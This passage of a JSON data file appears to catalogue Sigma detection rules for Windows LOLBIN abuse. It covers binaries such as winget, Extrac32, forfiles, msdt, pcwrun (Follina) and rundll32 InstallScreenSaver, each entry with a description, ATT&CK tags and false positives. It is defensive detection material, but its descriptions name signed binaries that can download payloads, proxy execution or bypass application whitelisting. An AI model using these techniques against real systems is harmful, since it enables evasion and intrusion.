"proc_creation_win_lolbin_dump64.yml", - "author": "Austin Songer @austinsonger, Florian Roth", - "level": "high", - "falsepositive": [ - "Dump64.exe in other folders than the excluded one" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", - "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", - "value": "Monitoring Winget For LOLbin Execution", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/04/21", - "filename": "proc_creation_win_lolbin_execution_via_winget.yml", - "author": "Sreeman, Florian Roth, Frack113", - "level": "medium", - "falsepositive": [ - "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Extexport.exe loads dll and is execute from other folder the original path", - "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", - "value": "Suspicious Extexport Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_extexport.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Download or Copy file with Extrac32", - "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", - "value": "Suspicious Extrac32 Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_extrac32.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Extract data from cab file and hide it in an alternate data stream", - "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", - "value": "Suspicious Extrac32 Alternate Data Stream Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_extrac32_ads.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", - "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", - "value": "Abusing Findstr for Defense Evasion", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", - "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1564.004", - "attack.t1552.001", - "attack.t1105" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_win_lolbin_findstr.yml", - "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Administrative findstr usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", - "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", - "value": "Use of Forfiles For Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/14", - "filename": "proc_creation_win_lolbin_forfiles.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use by a via a batch script or by an administrator." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", - "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", - "value": "Use of FSharp Interpreters", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", - "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/02", - "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Legitimate use by a software developer." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", - "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", - "value": "LOLBIN Execution Of The FTP.EXE Binary", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_lolbin_ftp.yml", - "author": "Victor Sergeev, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", - "uuid": "1e59c230-6670-45bf-83b0-98903780607e", - "value": "Gpscript Execution", - "meta": { - "refs": [ - "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", - "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/05/16", - "filename": "proc_creation_win_lolbin_gpscript.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate uses of logon scripts distributed via group policy" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", - "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", - "value": "Ie4uinit Lolbin Use From Invalid Path", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", - "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/05/07", - "filename": "proc_creation_win_lolbin_ie4uinit.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the IEExec utility to download payloads", - "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", - "value": "Abusing IEExec To Download Payloads", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" - ], - "tags": "No established tags", - "creation_date": "2022/05/16", - "filename": "proc_creation_win_lolbin_ieexec_download.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", - "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", - "value": "Ilasm Lolbin Use Compile C-Sharp", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", - "https://www.echotrail.io/insights/search/ilasm.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/05/07", - "filename": "proc_creation_win_lolbin_ilasm.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", - "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", - "value": "Suspicious Execution of InstallUtil To Download", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/239", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_installutil_download.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", - "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", - "value": "JSC Convert Javascript To Executable", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/05/02", - "filename": "proc_creation_win_lolbin_jsc.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", - "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", - "value": "Kavremover Dropped Binary LOLBIN Usage", - "meta": { - "refs": [ - "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/11/01", - "filename": "proc_creation_win_lolbin_kavremover.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", - "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", - "value": "Launch-VsDevShell.PS1 Proxy Execution", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1535981653239255040", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216.001" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the script by a developer" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", - "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", - "value": "Use of Mftrace.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/06/09", - "filename": "proc_creation_win_lolbin_mftrace.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use for tracing purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", - "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", - "value": "Execute MSDT Via Answer File", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ], - "creation_date": "2022/06/13", - "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", - "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", - "value": "Download Arbitrary Files Via MSOHTMED.EXE", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_msohtmed_download.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", - "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", - "value": "Download Arbitrary Files Via MSPUB.EXE", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_mspub_download.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", - "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", - "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/03/06", - "filename": "proc_creation_win_lolbin_offlinescannershell.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", - "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", - "value": "Use of OpenConsole", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1537563834478645252", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/16", - "filename": "proc_creation_win_lolbin_openconsole.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use by an administrator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This is used as a LOLBIN for example to bypass application whitelisting.", - "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", - "value": "Use of Pcalua For Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/14", - "filename": "proc_creation_win_lolbin_pcalua.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use by a via a batch script or by an administrator." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", - "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", - "value": "Indirect Command Execution By Program Compatibility Wizard", - "meta": { - "refs": [ - "https://twitter.com/pabraeken/status/991335019833708544", - "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_lolbin_pcwrun.yml", - "author": "A. Sungurov , oscd.community", - "level": "low", - "falsepositive": [ - "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", - "Legit usage of scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", - "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", - "value": "Execute Pcwrun.EXE To Leverage Follina", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1535663791362519040", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution" - ], - "creation_date": "2022/06/13", - "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", - "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", - "value": "Use of PktMon.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1040" - ], - "creation_date": "2022/03/17", - "filename": "proc_creation_win_lolbin_pktmon.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", - "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", - "value": "Application Whitelisting Bypass via PresentationHost.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/07/01", - "filename": "proc_creation_win_lolbin_presentationhost.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate \".xbap\" being executed via \"PresentationHost\"" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", - "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", - "value": "Download Arbitrary Files Via PresentationHost.exe", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_presentationhost_download.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", - "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", - "value": "PrintBrm ZIP Creation of Extraction", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/05/02", - "filename": "proc_creation_win_lolbin_printbrm.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", - "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", - "value": "Pubprn.vbs Proxy Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216.001" - ], - "creation_date": "2022/05/28", - "filename": "proc_creation_win_lolbin_pubprn.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", - "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", - "value": "DLL Execution via Rasautou.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", - "https://github.com/fireeye/DueDLLigence", - "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious execution of Regasm/Regsvcs utilities", - "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", - "value": "Regasm/Regsvcs Suspicious Execution", - "meta": { - "refs": [ - "https://www.fortiguard.com/threat-signal-report/4718?s=09", - "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.009" - ], - "creation_date": "2022/08/25", - "filename": "proc_creation_win_lolbin_regasm.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", - "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", - "value": "REGISTER_APP.VBS Proxy Execution", - "meta": { - "refs": [ - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_register_app.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", - "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", - "value": "Use of Remote.exe", - "meta": { - "refs": [ - "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/06/02", - "filename": "proc_creation_win_lolbin_remote.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Replace.exe which can be used to replace file with another file", - "uuid": "9292293b-8496-4715-9db6-37028dcda4b3", - "value": "Replace.exe Usage", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Replace/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/03/06", - "filename": "proc_creation_win_lolbin_replace.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver", - "uuid": "15bd98ea-55f4-4d37-b09a-e7caa0fa2221", - "value": "Rundll32 InstallScreenSaver Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Desk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml" - ], - "tags": [ - "attack.t1218.011", - "attack.defense_evasion" - ], - "creation_date": "2022/04/28", - "filename": "proc_creation_win_lolbin_rundll32_installscreensaver.yml", - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io, TactiKoolSec", - "level": "medium", - "falsepositive": [ - "Legitimate installation of a new screensaver" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", - "uuid": "64760eef-87f7-4ed3-93fd-655668ea9420", - "value": "Use of Scriptrunner.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/07/01", - "filename": "proc_creation_win_lolbin_scriptrunner.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use when App-v is deployed" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", - "uuid": "a85ffc3a-e8fd-4040-93bf-78aff284d801", - "value": "Use Of The SFTP.EXE Binary As A LOLBIN", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/11/10", - "filename": "proc_creation_win_lolbin_sftp.yml", - "author": "Nasreddine Bencherchali", - 